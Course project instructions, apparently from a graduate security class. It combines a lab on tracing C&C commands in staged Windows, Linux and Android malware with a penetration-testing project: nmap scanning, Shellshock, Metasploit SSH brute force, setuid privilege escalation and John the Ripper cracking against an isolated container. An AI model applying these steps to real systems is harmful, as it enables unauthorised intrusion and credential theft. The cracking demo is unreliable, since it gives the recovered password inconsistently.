■ A bitvector is a sequence of bits used to perform integer arithmetic for symbolic execution. ■ Creating some 32 bit bitvector values ■ state.solver.BVV(4,32) will create 32 bit length bitvector with value 4 ■ We can perform arithmetic operations or comparisons using the bitvectors○ Symbolic Bitvectors ■ state.solver.BVS(’x’, 32) will create a symbolic variable named x with 32 bit length ■ Angr allows us to perform arithmetic operation or comparisons using them.○ Registers ■ State provides access to the registers through state.regs.register_name where register_name could be rcx, ecx, cx, ch and cl. Same applies to the other registers. ■ Look at the types of registers — they are bit vectors ■ Look at the length of registers examined below. ● They are all symbolic bitvector because they are not initizlized yet. ■ For cl, ch, cx and ecx they are all part of rcx. ■ You can compare the length and the location of cl, ch, cx, ecx and rcx in angr with the actual architecture depicted below.○ Constraints ■ In a CFG, a line like if ( x > 10 ) creates a branch. Please look at the Symbolic Execution Concepts tutorial. ■ Assuming x is a symbolic variable, this will create a 4> when the True branch is taken for the successor state ■ For the false branch,negation of a 4> will be created. ■ Adding a constraint to a SimState ● Cl register equals to 11 ● state.add_constraints(state.regs.cl == 11) ● state.add_constraints(state.regs.cl == state.solver.BVV(0xb, 8) since state.solver.BVV(0xb, 8) equals to 11 ● You can see their effect is the same for SimState in the example below.○ Radare2 ■ Launch radare2 with $ r2 ~/shared/payload.exe ■ Then type aaa which will analyze all (functions + bbs)■ afl list all functions■ afl lists all the functions which are hard to analyze. ■ afl~name grep the list of functions with given name ■ afl~attack will list all the functions having attack■ You can use linux commands while inside the r2 console such as grep. ■ On the right side, you can see all the functions having the attack vector (afl~send) ■ Using those api calls, this linux malware performs DDoS attacks based on the commands they receive from C&C server. ■ The example below shows how to find all the attack vectors calling sym.send/sym.sendto ■ Now, we have to iterate all the attack functions on the right. For example, the example below shows three attack functions, and only one of them is called. Our focus is the call sym.attack_????? functions. ■ Let’s analyze the example below. ■ axt sym.attack_app_http has only one reference which is a push instruction. This is not the attack function we are interested in. ■ axt sym_attack_app_cfnull has no reference at all. This is not the attack function we need to explore. ■ axt sym_attack_???? Is one of the functions listed on the right example, and have call sym.attack_????? Instruction. That is the function we need to explore more to determine the target address for the symbolic execution. ■ You need to find 2 attack functions.■ After finding the attack function, we can determine the target address. ● First, step into the function using s sym.attack_????. ● Second, pdf | grep sym.send or pdf | grep sym.sendto to determine the instruction address ● Third, s address_for_call_sym.send(to) to point to the instruction which is call sym.send or sym.sendto ● Lastly, print 2 instructions starting with the call sym.send/sym.sendto instruction ■ The address of the instruction which is the successor of call sym.send(to) is the target address for the symbolic execution.■ For more information : ● https://github.com/radare/radare2 ● https://www.radare.org/get/THC2018.pdf ● Other Tools: ○ You don’t have to use Radare2. ■ objdump ■ IDA-Pro (Dissambly tool with GUI) (Free version) ● https://www.hex-rays.com/products/ida/support/download_freewar e.shtml ■ Cutter (GUI for the radare2) ● https://www.radare.org/cutter/ ● https://github.com/radareorg/cutter After stage1.exe ● If you find all of the commands for stage1.exe malware, the malware will download stage2.exe by updating itself. ● Now you’ve found the commands from running sym-exec.py ● Add those commands to stage1-commands.txt. Remember to put $. ● Start up the windows VM again, then copy stage1.exe to the desktop. Then double click on it and continue. ● Note if stage1 fails to download stage2, your firewall might be blocking it ○ This is actual malware so some IDS have signatures that match it.● For stage2.exe, please follow the same steps in the tutorial ○ Check its network access with Wireshark ○ Redirect network traffic to if required (if the connection fails) ○ Try to identify malicious functions by editing score.h and using the cfg-generation tool ○ Discover the list of commands using the symbolic execution tool ○ Fill the commands in ~/tools/c2-command/stage2-command.txt ○ Run it as mentioned before.Linux Malware Analysis● Stage2.exe will download stage3 malware, which is payload.exe. ○ This is Linux Malware. ● We need to handle the linux malware differently unlike windows malware, and will use different tools and methods to analyze this malwareLinux Malware Tools ● First copy the linux malware into a shared folder. The tools which you will use are installed inside the Linux host. ● ~/tools/sym-exec/linux_sym_exe.py ○ for linux malware symbolic execution ○ python linux_sym_exec.py path_to_linux_mw start target ○ To make it work, you need to modify two linux_sym_exec.py functions ■ targs_len_before and opts_len_before ● ~/tools/dynamicanalysis/ ○ instrace.linux.log : the dynamic instruction trace for the linux malware ○ detect_loop.py : you have to modify this file to find the loop in the given trace ○ Usage: python detect_loop.py ● Run ‘python linux_sym_exec.py path_to_linux start target’. ● It won’t be able to find any input because of path explosion. You need to add constraints to make symbolic execution targeted ● Follow the steps in assignment- questionnaire.txt and find the inputs. ● Analyze the dynamic instruction trace and locate the C&C communicationAndroid Malware Analysis ● Manifest Analysis ○ Identifying suspicious components ● Static Analysis ○ Search for C&C commands and trigger conditions ○ Vet the app for any anti-analysis techniques that need to be removed. ● Dynamic analysis ○ Leverage the information found via static analysis to trigger the malicious behavior.Manifest Analysis ● Identify suspicious components ○ Broadcast receivers registering for suspicious actions. ○ Background services ● Narrow the scope of analysis ○ Malicious apps are repackaged in benign apps with thousands of classes.Static Analysis ● Search for C&C commands and trigger conditions● Identifying Anti-analysis techniquesScenario ● Analyzing Android Malware ○ You have received a malware sample sms.apk. ○ You need to identify communication with the C&C server ○ Identify anti-analysis techniques being used by the app. ○ Identify commands that trigger any malicious behavior. Project Structure ● Android emulator ○ An emulator for Android 4.4 is pre-installed ■ Run ‘run-emulator’ ● This will start the Android emulator (this takes along time, especially the first time you start it) ○ Jadx ■ Disassembles apk files into Java source code. ● Apktool ○ Disassembles apk file into Smali. ○ Rebuilds apk files. ● Write-up (~/Android/MaliciousMessenger/writeup.pdf) ○ Detailed guide on how to complete the Android section of the lab. ● Android App ○ ~/Android/MaliciousMessenger/tutorialApps ■ Emu-check.apk ● A tutorial example (Shown as ‘My application’ in the emulator) ○ CoinPirate.apk ■ Another tutorial example ● ~/Android/MaliciousMessenger/sms.apk ○ Target app to analyze to answer the questionnaire ● READ ~/Android/MaliciousMessenger/writeup.pdf Android CheatsheetTips for assignment-questionnaire.txt ● Please use the latest version of VirtualBox when you import the VM. Please do not modify anything related to network settings in the VM. ● Domain name ○ On the questionnaire sheet, there are entries for writing domain names. Please follow the following rules on getting answers for those questions. ○ You should write FQDN, which means, if the full domain name is canof.gtisc.gatech.edu then write canof.gtisc.gatech.edu, not just gatech.edu or gtisc.gatech.edu ○ For the others (connections check, DDoS, sending info, etc.), you should get the exact domain name that the malware uses. For example, the IP address 130.207.188.35 belongs to both coe.gatech.edu and web-plesk5.gatech.edu. ○ Because there are multiple mappings, you cannot be sure about which domain that the malware used by just using nslookup. In this case, please go through the other way of getting domain names from DNS Packets in Wireshark. ○ All Domains should be based on Wireshark DNS packets ■ e.g., get it from a DNS query packet or redirect HTTP traffic into a local VM and examine the Host header. ○ If you get see the log in the Wireshark, You will find DNS query(Standard query) and DNS response(Standard query response) ○ In Domain Name System section, there is Query section, like below ○ Queries: ■ x.y.z: type A, class IN. ○ Answers: ■ x.y.z: type CNAME, class IN, cname a.b.c ○ You should use x.y.z ● URL ○ For all URLs, you do not have to specify the protocol (http:// or https://, etc.). ○ However, if HTTP traffic is like the following: ■ POST /a/b/c/d?asdf=1234 HTTP/1.1 Host: www.zzz.com ○ Then please write this as ■ www.zzz.com/a/b/c/d?asdf=1234 ● Writing commands in *.txt files under c2-command directory ○ There are pre-installed PHP scripts in the VM locally that read the *.txt file for each stage, ■ These scripts send the command to the malware after reading them from the TXT files. ■ One caveat of these scripts is that they are written to send the commands in random order (i.e., if there are commands a, b, c, then the script will randomly choose one command and send it to the malware). ■ So if you want to test ONE command at a time, then please write only that command in the TXT file. ● Ex. If you just want to run the command $uninstall, then please write only that command in stage1- command.txt. ● linux_sym_exec and detect_loop for linux malware ○ You could use free IDA-Pro, objdump or radare2 for this task to find out called attack functions, and the target addresses. ○ Look for some angr examples on the github, which adds constraints to the state. ○ For the loop detection, focus on function sequence that called repetitive ● Correct command but malware is not working? ○ Note that some commands for stage 2 are different per each student, by having 4 digit hexadecimal numbers at the end of the command. ■ Ex. a command for stage 2 is formatted like $COMMANDa1b4 ■ (NOTE: three commands in stage 2 have the 4 digit hexadecimal tail. ■ All commands in stage 3 have the 4 digit hexadecimal tail on the command. ○ However, there could be a case that only gets the front part of the command like ■ $COMMAND ■ If the endpoint address of symbolic execution is not correctly set. In such a case, please set the correct end point that you can get the entire command. ● Cuckoo ○ In the VM, we provide cuckoo, which is a dynamic malware analysis framework. ■ It is very convenient and easy to use. ■ While you are running cuckoo, you might meet some warnings and errors “critical time blah blah~” and “YARA signature…. blah blah”. Please ignore them. ■ Because you are executing malware in the QEMU Windows VM, the framework needs to set a time. ● Cuckoo will check if the malware is terminated or not. ● However, the three malware you will meet are never going to be terminated (intentionally, modified by me for educational purposes.) ● So, please ignore “critical time blah blah~, terminating. ■ In our case, the malware is never going to unfold even though you give an infinite time to be executing the malware unless you feed the right inputs (The malware expects C2 commands.) ○ IPtable Setting ■ If you check /home/analysis/.cuckoo/conf/kvm.conf, you will find how we set the QEMU windows host VM. ■ You will find the IP of the host VM is “192.168.133.101”. ■ If you want to see network behaviors in Cuckoo, you want to forward the IP in /home/analysis/tools/network/iptables- rules. ■ For example, open iptables-rules, you want to add sudo iptables -t nat -A PREROUTING -p tcp -s 192.168.133.101 -d [DEST-IP] –dport 80 -j DNAT –to 192.168.133.1:80Miscellaneous VM Performance Tips Part 1 : Windows Malware / Generic VM Issues ● Try lowering your screen resolution ● Save often! ● Avoid using a resource heavy IDE like IntelliJ, Eclipse etc. Lightweight alternatives include gedit, vim, emacs, Sublime Text, Visual Studio Code, nano, etc ● Most importantly, do / run only 1 task at a time. That means: ○ Run the Windows VM only when: ■ Sending commands to malware ■ Analyzing network traffic via Wireshark ■ Once done with those tasks, turn off the Windows VM. ○ Avoid running the windows VM when: ■ Running cuckoo analysis ■ Generating CFGs ■ Running Symbolic Execution – This is quite resource intensive, avoid doing other stuff to get this done quickly. (TIP: If this seems to be taking infinite memory/time, you’re mostly trying to reach an unreachable / invalid address! check your addresses!) ○ Try running the VM at a lower resolution (recommend at-least 1280×800, for legibility) – If you have a very high resolution on your host machine. You can do this in 2 ways: ■ VirtualBox Menu – View > Virtual Screen 1 > Resize to a x b ■ Ubuntu Menu – Type “Displays” > Change it there ○ Restart after a task / stage. This is mostly a last resort but restarting the VM after finishing a task/stage made everything feel really smooth, instead of trying to free memory etc. Just be sure to run ./reset in ~/tools/networks after each VM restart!Part 2: Android ● Some of the above stuff applies here (VM Settings, resolution, etc). ● Restarting after working on Part 1, helps a lot. ● If you still really feel your android emulator is slow you can add the following flags to the emulator command flags in ~/bin/run-emulator -memory 2048 -gpu swiftshader ● You can experiment with RAM allocation and CPU usage based on your machine – but keep in mind that the project VM has only been tested at 4 GB and with 2 or 3 CPUs.Extra Tips ● Once you successfully complete the stage1 part, and the stage2 file is downloaded on the Windows Vm, you can move it to the shared folder, for better handling. Verify the file type as mentioned in the write-up before, and handle it in the same manner as stage1. ● For stage2, do not forget to update the ‘iptables_rules’ files, and run ‘./reset’ after it. ● General tips – If your device frequently lags, or takes a long time to execute, reboot your device. ○ Fewer resource allocation could result in some issues, you could try to reinstall the VM image (deleting the previously stored state), and even Virtual-box as a last resort. ● Do NOT change the base snapshots. ● Ensure you have set up no firewalls. ● Some particular MAC users might be unable to unzip the project3.zip to obtain the .ova file, in which case login into DropBox as a user, instead of a guest. Verify the file properties afterwards. ● For all users – a partial file download will result in errors. Verify once before execution. ● Moreover, if you have a problem with your current device, (it’s too old or cannot allocate proper resources for a smoother experience), please contact us beforehand so we can arrange for an alternative, we cannot provide one in the last few days. Submission Required files ● Zip the following files and upload report.zip to Canvas ○ Running ~/archive.sh will automatically zip all of the files ■ ~/report/assignment-questionnaire.txt ■ stage1.exe, stage2.exe, payload.exe (linux malware) ■ ~/tools/network/iptables_rules ■ ~/tools/cfg-generation/score.h ● Running ~/archive.sh will create report.zip automatically. ○ Please check the content of your zip file before submitting it to Canvas ● Submit only ‘assignment-questionnaire.txt’ to Gradescope, the report.zip to Canvas (under Project3 Assignment). If you did not submit report.zip on time, a 5-point deduction will be applied to your total score. Questionnaire ● To get credit for the project, you have to answer the questionnaire, found at on canvas ○ Read assignment-questionnaire.txt ○ Carefully read the questions, and answer them in assignment-questionnaire.txt ○ For each stage, there are 4-6 questions regarding the behavior of the malware. ● Android Part ○ READ ~/Android/MaliciousMessenger/writeup.pdf ○ Carefully read the writeup, answer in assignment-questionnaire.txt ○ Make sure you overwrite ANSWER_HERERubric ● The value for each max score is within its particular section ○ Windows has 110 possible points ○ Android has 100. ○ As each section is worth an equal amount of your overall P2 grade, we normalized the Windows score by dividing by 1.1 (and rounded up), then averaged it with the Android score to get your final grade. So effectively, each point in the table above is worth half a point of your final project grade (slightly less for Windows). ● If the Partial Credit column is blank, there is no partial credit for the question. “Ratio” refers to Levenshtein ratio, it’s a metric of similarity between strings
Table of Contents Project 1: Introduction to Penetration Testing 2 Introduction 3 Learning Goals 3 Virtual Machine 4 Minimum Hardware to Run the Project 1 VM: 4 Networks 5 Networking in Docker 5 Environment Setup: 6 Project Tasks (100 points): 7 Setup 7 Task 1: Network Scanning (10 points) 9 Task 2: Exploit the Shellshock Vulnerability (20 points) 10 Task 3: Brute Force with Metasploit (25 points) 11 Introduction to Metasploit 12 Task 4: Privilege Escalation (20 points) 17 Task 5: Password Cracking (25 points) 18 Background on Using John the Ripper 18 Task 5.0 Demonstration of John the Ripper – Not For Credit 18 Extra Task 6 – Optional, Not for Credit 21 Task 6 Bypass Authentication with HTTP Request Smuggling 22 Deliverables: 23 Reminders: 23 Acknowledgments: 24 Appendix 1 – Resources / Links 24 Appendix 2 – Running the VM on an ARM-based Mac 25 Emulating x86/x64 on Apple MX Chipset 25 Disclaimers 26 Requirements 26 Obtaining the Virtual Disk Image from the OVA 26 Creating the Emulated Virtual Machine 26 Configuring the Emulated Virtual Machine 27 Completing Course Projects via SSH 27 Obtaining the VM’s IP address 28 Completing Project 1 over SSH 28 Appendix 3 – VirtualBox Networking 29 NAT Networking 29 Bridged Networking 30 Restarting VM Networking 30 Forwarding Ports to Your Host 30 Appendix 4 – VM Troubleshooting 32 Closing 33Project 1: Introduction to Penetration Testing Summer 2025This project involves port scanning and the programmatic creation of network attacks and other hacking techniques. Be certain that you always direct attacks at the Docker container ONLY. Accidentally scanning outside your local network could have serious consequences.The Docker network is on 172.22.0.0/24 (CIDR notation) in the VM, do not scan other networks! – We make such warnings here, in part, so that you avoid unauthorized port scanning. It’s an interesting subject, you can learn more at https://nmap.org/book/legal-issues.html. – These attacks are intended only for the isolated environment of the virtual machine. – Your ISP Terms of Service likely ban unauthorized (or any) port scanning, don’t port scan the Internet. – Never scan a computer that you don’t have explicit, written permission to scan.Introduction Penetration testing is an important part of ensuring the security of a system. This project introduces some of the common tools used in penetration testing, while also exploring common vulnerabilities (such as Shellshock and bit exploits).In this project, you will gain hands-on experience by exploiting a server running inside a Docker container, hosted within a virtual machine (VM). You will better understand the Shellshock vulnerability, how privilege escalation can occur, and how to crack weak passwords — all crucial elements in penetration testing. There are Tasks centering on the use of Metasploit and getting a privileged shell on the Docker container. There is also a new optional task, Task 6 HTTP Smuggling, that we hope students will try, but is not part of the graded project. Learning Goals In this project, you will: • Learn to use penetration testing apps and techniques in a Linux virtual machine, attacking a vulnerable Docker container. • Perform network reconnaissance to discover open services running inside a containerized environment. • Exploit common web vulnerabilities to gain remote code execution inside the target container. • Use Metasploit to automate attacks and establish shells on the container. • Escalate privileges inside the container by exploiting misconfigured binaries or services. • Crack passwords and recover sensitive files to simulate postexploitation activities. • Document attack steps clearly to demonstrate real-world penetration testing workflows and best practices.Virtual Machine For this semester’s project we are releasing a new virtual machine (VM). It’s x86based, using Xubuntu 24.04 which uses the xfce user interface. This is done to require less processing power than the Gnome-based full Ubuntu release for graphical user interface (GUI) users. One GUI note about xfce, if you try to grab the lower corners of windows it’s hard to grab and resize diagonally. It’s much easier to grab and drag the upper corners of windows. Minimum Hardware to Run the Project 1 VM: • 8th generation chips better support virtualization than previous gen chips. • At least 4 logical cores (e.g., quad-core CPU or dual-core with hyper-threading). • 4 GB RAM strongly recommended, perhaps could run on 3GB, not less. • SSD strongly recommended for increased performance. • Host OS must support virtualization (e.g., VT-x enabled in BIOS). If you are trying to use our x86-based VM under emulation on an ARM-based Mac, then you should NOT expect to be able to use the xfce-based GUI environment. It might work, but it will be very slow. Instead, ARM-based VM users will be using ssh to access the services needed on the VM. We only provide limited support here, M-based Macs are not a supported platform for CS 6262. Please see Appendix 2 for instructions on how to attempt to make this work on an ARM-based Mac. Networks For your convenience we have opened port 22 on the VM. The VM runs the openssh server. In VirtualBox, you can set up Port Forwarding, see Appendix 2 for information. Once you set up port forwarding of the VM port 22 to your chosen port on your host, you can simply use ssh localhost:chosen_port_number to login to the VM from your host. Because we have opened the ssh port on the VM, the VM is only as secure as your network. In theory, your typical home network has a router that uses Network Address Translation and blocks all incoming ports from incoming connections from the outside world. This means in theory, assuming that your router isn’t hacked, attackers on the Internet can try to attack your routers WAN IP Address, but the router will rebuff any connection that wasn’t originated in your network. Also in theory, your ISP is doing something to block these attacks, but some will get through. The minute you open a port on your router for your favorite game, you have just opened a can of worms. We strongly recommend you turn the port forwarding on your router OFF while working on this project. Having said that, we also recommend you turn it off all the time. Consider where the instructions tell you to access the vulnerable website at the target IP address and vulnerable target port. In the VM you would enter the IP address of the Docker container and the port number together into the browser. Once you set up forwarding, the vulnerable web server port is available on the port you choose on your host. The IP address will be different. We forward the target webserver port on the Docker container to the VM itself. Thus, it’s possible to use the VM’s localhost address followed by the target port number to access the vulnerable website like: http://localhost:9999. See Appendix 3 for more information about two popular VirtualBox networking styles and other VirtualBox information. Networking in Docker Relative to the Docker network, remember that the VM has one network interface that talks to your host, and another interface to talk on the Docker network. You’ll see more about this in the details of Task 2. The Docker network is 172.22.0.0/24 on this VM. Google CIDR (related to networking) if this notation doesn’t make sense to you, it’s CIDR notation to denote a network with 254 nodes. The VM Docker interface and the Docker container both live in this network address range. Environment Setup:You will be provided a virtual machine (VM) based on Xubuntu 24.04 Linux, preinstalled with necessary tools like Metasploit and John the Ripper. Inside this VM, a Docker container will run, it has various vulnerabilities that you will attack. Provided Files: – CS6262-Release-01.ova: The Virtual Machine image (Ubuntu Linux) – assignment_questionnaire.txt: Template for final submissionSteps: 1. Install the latest version of VirtualBox (7.1.8 or newer). 2. Download the VM ova file from the link on Canvas. 3. Import the VM ova file into VirtualBox using the Import Appliance menu item. 4. Start the VM in VirtualBox once it’s done importing, this will take some time. 6. The password is 6262student and can also be found in Canvas. 7. Once logged in, from your home directory, run: ./StartShockServer.sh 8. The vulnerable container will then be accessible on the Docker network. 9. For this project, the container address is on the 172.22.0.0/24 network. Important: You are attacking the Docker container, not the VM itself. Note: Once you start the Docker container, it will restart itself if it dies, unless you run the ./StopShockServer.sh script. Project Tasks (100 points): Setup The first step in any penetration test is to gather information about the network and servers you’ll be exploiting. In this task, you will perform network scanning and answer a few questions based on your findings. On startup, the shellshockvulnerable container in the VM runs a webserver and listens to multiple ports for incoming messages. It also runs a ssh server. In the VM logged in as penteststudent, open a Terminal Emulator window. First, before doing anything else, run the command to start up the Docker container that runs the vulnerable services: ./StartShockServer.sh You should see a message after a few moments that the container has started. While it’s not strictly necessary, when you are shutting down or rebooting the VM, you can run the shutdown command first: ./StopShockServer.sh Now, let’s investigate the network. At the command prompt, enter this command: ip a You will see the output pictured in Figure 1. In the output you will see various network interfaces. The important ones are: lo — this is the loopback interface, it refers to the VM itself. It’s the same, effectively, as 0.0.0.0 and 127.0.0.1 (with minor differences). docker0 — this is the default Docker network on 172.17.0.0/24, we will not be using it. br-a795c89aa411 — this is an important interface, it’s the VM’s interface on the Docker network. From this entry you can see the Docker network is 172.22.0.0/24, note this address as it will come in handy for the next steps. It’s possible the interface will use a different br-xxxx ID, though we wouldn’t expect it to. Here you can see the VM’s Docker address is 172.22.0.1.Figure 1 — Output of ip a command shows the different network interfaces’ properties There’s also (when the container is running) a veth-xxxx interface. This is the virtual ethernet interface for the running Docker container. While you could use the IPV6 address you see in the output, for this project you should use IPV4 exclusively, don’t use IPV6 addressing. Now it’s time to get down to the tasks: Task 1: Network Scanning (10 points) Find the IP address of the vulnerable Docker container on the NAT network using nmap or zenmap (the GUI version of nmap). You’ll find both installed in the VM, ignore any GTK errors if you run zenmap from the command line. Remember to limit your scans to the 172.22.0.0/24 network and nodes on that network only! Don’t scan outside the Docker network! IMPORTANT: For people who are logging into the VM using ssh to do their work, we have forwarded ports from the Docker container to the VM so you can complete the port forwarding in VirtualBox on your host. You will see ports exposed on 172.22.0.1, the VM. These simply reflect the ports on the actual Docker container, so you can ignore ports on this address when answering questions in the assignment_questionnaire.txt. NOTE: You have zenmap on the GUI menu to use, it’s more intuitive to use than the command line version. It will complain that it’s not run as root, that’s OK. Use an Intense scan in zenmap to identify all the open ports on the Docker container’s webserver and submit the port numbers which handle http traffic to the Apache web server and the Python web server on the VM. You can determine the server type in zenmap, and with nmap on the command line with the correct options. While zenmap scans all ports, nmap by default only scans the top 1000 ports, to scan EVERY port from 1-10000, you need to specify -p 1-10000 in the nmap command. All the ports you’re looking for are lower than port 10000. One suggested workflow for zenmap is to do a “quick scan” of the 172.22.0.0/24 network to identify nodes on the network. Then inspect interesting nodes more closely with further, more intense scans. If you are scanning and not finding web server ports, did you remember to run ./StartShockServer.sh in your home directory? Submit in assignment_questionnaire.txt: • The IP address of the vulnerable container in the Docker network. (3 pts.) • The HTTP port number of the container’s Apache2 webserver. (4 pts.) • The HTTP port number of the container’s Python webserver. (3 pts.) Task 2: Exploit the Shellshock Vulnerability (20 points) In this task, you will launch the Shellshock attack on a remote web server. Many web servers enable Common Gateway Interface (CGI), which is an older method used to generate dynamic content on Web pages and Web applications. Many CGI programs are written using a shell script. Therefore, before a CGI program is executed, the shell program will be invoked first. This can be triggered by a user from a remote computer, typically using the curl command. To access this CGI program on the Docker container from the VM browser or command line, you need to first make sure you started the Docker container using: ./StartShockServer.sh. Then, you can either use a browser by typing the following URL: http://:/cgi-bin/shellshock.cgi or use the following command line program curl to do the same thing: $ curl http:// :/cgi-bin/shellshock.cgi For this task, your goal is to launch the attack through this URL with the proper parameters, such that you can achieve something that you cannot do as a normal remote user. You will get a shell directly on the container, without using ssh to login or even knowing a password! For example, once you have a shell, you can directly execute a file on the container or look up information about files located on the container. When you successfully launch an attack, please execute the /bin/task2 program (which needs your GT username as the input) inside the VM. It will generate the submission hash for you. For students that want to verify their work, here’s an example correct input/output for running /usr/bin/task2: $ /usr/bin/task2 gburdell3 Here is your task2 hash: 5732307cf1ef49dd2613e9bbe28dd3e0ea907c28d6c8736faf0c9537c2b 20c5a Submit in assignment_questionnaire.txt: • The command (with any parameters) you used to exploit the container. • The hash from running /bin/task2. While you’re in a shell and able to inspect the file system, look around /usr/bin for files that start with “task.” Run a ls -l on /usr/bin/ and get familiar with the variety of programs found there. One of them is important for Task 4! NOTE: Keep your shell open for part of Task 3, you need to search the filesystem for two files needed for Task 3. Task 3: Brute Force with Metasploit (25 points)Now that you have established a foothold on the server through Shellshock, you’ve discovered that the /usr/bin/task3 executable is owned by a different user account that has enhanced privileges. To execute this file and complete the challenge, you’ll need to gain access to that user’s account. During a penetration test, weak credentials remain one of the most common vulnerabilities found in systems. Attackers often exploit this by attempting to authenticate using common username and password combinations. That’s where Metasploit’s brute force capabilities come in. Metasploit includes powerful auxiliary modules for password attacks, along with extensive wordlists of commonly used usernames and passwords. For this project, we’re going to use Metasploit’s SSH brute force module to identify weak credentials on the Docker container. This will demonstrate how penetration testers systematically identify accounts with poor password hygiene. Metasploit works by automating login attempts against the SSH service, trying different username and password combinations from predefined wordlists. This is a critical skill for penetration testers, as password spraying and credential stuffing attacks are frequently used in real-world scenarios. This approach teaches students about: – The importance of strong password policies – How automated tools can exploit weak credentials – The built-in wordlists available in security testing frameworks – Real-world attack patterns used by threat actors Introduction to Metasploit1. Begin by opening a new terminal on your VM. In the new terminal type: msfconsole After a moment, the Metasploit Framework console (msfconsole) will load. For this project, msfconsole is the main way of accessing Metasploit. While there are other tools and command prompts associated with Metasploit, msfconsole is suitable for the related tasks of this project.Figure 2 – Metasploit opening screenWait a minute for the msf6 > prompt before entering commands.2. For this example, we’re going to scan the ports of a host. You can use the results from task 1 to ensure Metasploit is behaving properly. In practice using a Metasploit module solely for the purpose of scanning ports on a host is a little overcomplicated, since nmap can do much more and takes less setup, but this does offer a good introduction to using a Metasploit module.3. A Metasploit module is the base of any task performed in Metasploit. It consists of Ruby code that is written to perform a certain task (like exploiting a certain vulnerability or scanning a certain kind of system). There are multiple different varieties of modules, but for our purposes we’ll focus on three of them:a The Exploit modules: These are modules written to exploit a certain vulnerability. b The Auxiliary modules: These are modules written to perform some tasks related to exploiting a system (like scanning). Within the auxiliary modules there are many kinds of modules. We’ll be using the “scanner” modules for this example. c Payloads: Calling these modules is a little misleading. They are the payloads (for example the shellcode) that are sent within the exploit.4. First, we must find the correct module. We know it’s scanning the system, so let’s start by searching for “scanner” using the command (in msfconsole):search scanner5. Hmm… that’s quite a few results (752 at the time of writing this).Figure 3 – Shows 752 results for search scanner commandThe reason there are so many results is that “scanner” is a class of auxiliary modules (as seen by there being so many modules beginning with “auxiliary/scanner”). So, searching for “scanner” (or “scan”) will give everything at all related to network or vulnerability scanning.6. So, we need to narrow our search. One way of doing this is with the “grep” command, which filters the output. (grep is also the commonly-used “find/search” command in Linux when you are searching inside files.) Since we’re looking to scan the ports, let’s try the following command to search for “portscan” within the search results from “scanner”.grep portscan search scannerFigure 4 – Narrowed down results for grep portscan search scanner commandThat seems a little better. Only 7 results. Since we’re scanning for open tcp ports, let’s use: “auxiliary/scanner/portscan/tcp”. To use this metasploit module, you should run the command:use auxiliary/scanner/portscan/tcp You will get this response:Figure 5 – Shows the new prompt with scanner/portscan/tcp You now see “auxiliary(scanner/portscan/tcp)” after the prompt, indicating you are using the auxiliary(scanner/portscan/tcp) module. 7. Now that we’re using the correct module, we must set the correct options. Try running the command options. You should see something like this on the next page:Figure 6 – Viewing options such as RHOSTSWhile each of the options is marked as required, most of the prefilled values work for our purposes. The only one we need to change is RHOSTS. RHOSTS should be the IP address of the host we want to scan. In this case, you should set it to the IP address of the Docker container, that you found in part 1. You can use the command:set rhosts insert_IP_of_hostNow try running options again and ensure the RHOSTS option is set to the correct IP address for the Docker container.8. Now use the run command and you should see the same list of open ports that nmap showed. (While “run” is usually used to run auxiliary exploits, the command “check” and “exploit” are often used to check and run exploit modules.)runNow you’ve seen an example of how to use Metasploit. You’ll follow a similar process when exploiting the vulnerability to run /bin/task3.Make note of the ssh server port found, if you didn’t note it during Task 1.Task 3 Assignment:1. Research the available Metasploit commands to learn how to brute force a ssh login attack. Remember if there are too many search results you can use Metasploit’s grep command to narrow down results, as you did earlier in the Task 3 practice section above. 2. When narrowing down the search properly there are only fourteen results to inspect (as of Summer 25). It should be obvious which one to use, if you are unsure try out different attacks! Experiment! 3. The attack will use files called unix_users.txt and unix_passwords.txt, these files are on the VM, not on the container. 4. You need to use a Linux command to find these files on the VM so you get the full path to the files – research the Linux find command and understand how to specify the search location and set other parameters for your search. 5. Because grep -v is apparently not working on the VM, if you search the / (root) directory you will get too many results saying “Permission denied.” Narrow your search down to /opt, Metasploit is installed under there. 6. Once you have the full path to the files, research the available Metasploit commands to figure out how to use those files in your brute force attack. 7. Find an option to stop the search when a successful login is made, or the process will continue past the login. Set this option as desired. 8. Set the ssh port to scan to the port you found earlier in the Task 3 Introduction to Metasploit section. 9. Run the brute force ssh attack once all options are set. 10. Once the attack is finished you should see something like this:11. Use the sessions -i 1 command to enter your running session (use the session number you obtained in Step 10, run the sessions command to see all active sessions.Normally you would allow some amount of time waiting for the ssh attack to complete, as the attack will try every combination of usernames and passwords in the username and password files.For convenience we have set up these files to finish very quickly, you won’t have to wait long to get in.NOTE: You should keep the reverse shell running after finishing Task 3, as you will need it in Task 4.Submit: • Exploit module name • Hash from /bin/task3 Task 4: Privilege Escalation (20 points)Your goal in Task 4 is to upgrade the privilege for your command shell by exploiting a setUID vulnerability. You will run /bin/task4 with a higher effective user id (euid), not the default user “www-data”. To be clear, you will still see the www-data user and group, but when you run the id command, you will also see an “euid” (effective user id) of 0.You will learn about various commands in Linux and find one that lets you escalate your privileges. Assignments:NOTE: Remember to keep the shell open from the previous task, or recreate the steps needed to get the shell in Metasploit.As a first step, type id in your shell. You should see system_admin which is your user ID. Now, run /usr/bin/task4 gt_username. You will see a permission denied error. That is because /usr/bin/task4 is configured to allow only a privileged user to run it. Thus, you need to find a way to run /bin/task4 as a privileged user. A feasible approach is to spawn a shell running as the “root” user and run task4 through it.Useful Resource: https://gtfobins.github.io/1. What is the vulnerable program? 2. What command do you use to spawn a shell with the vulnerable program? 3. And what is the hash value from running /bin/task4 your_gt_username?Please leave your answers in assignment_questionnaire.txt.NOTE: Keep your Task 4 root shell open for Task 5. Task 5: Password Cracking (25 points) Background on Using John the Ripper Remember you have learned about the Linux find command. On the container, there are two password-protected files. task51.zip is password-protected with zip, while task52.gpg is encrypted with gpg, a common file encryption tool in Linux. GPG is the open-source version of PGP – Symantec owns PGP. It is typically licensed for a fee. We already know the developers of this web server are not very security savvy, since they let a shellshock vulnerability plus a setUID exploit give a high privilege shell on their machine. So, chances are they did not pick very secure passwords for these secret files. Your goal in this task is to crack the passwords of these two files using John the Ripper (a popular password cracker) and cewl (a password scraper). Task 5.0 Demonstration of John the Ripper – Not For Credit 1. Create a simple password hash file: echo ‘myuser:$1$salty$yYc40qf3j5dc2QNtidPP8/’ > hello.hash That hash is: Username: myuser Password: password12 Format: MD5-Crypt (–format=md5crypt) 2. Use John to crack it with a wordlist, this command is one line: john –format=md5crypt -wordlist=/home/penteststudent/rockyou.txt hello.hash There’s no space between — and wordlist. You will see this output: Cracked 1 password hash 3. View the cracked password: john –show hello.hash The output is: myuser:password123 Overview In this task, you will analyze two 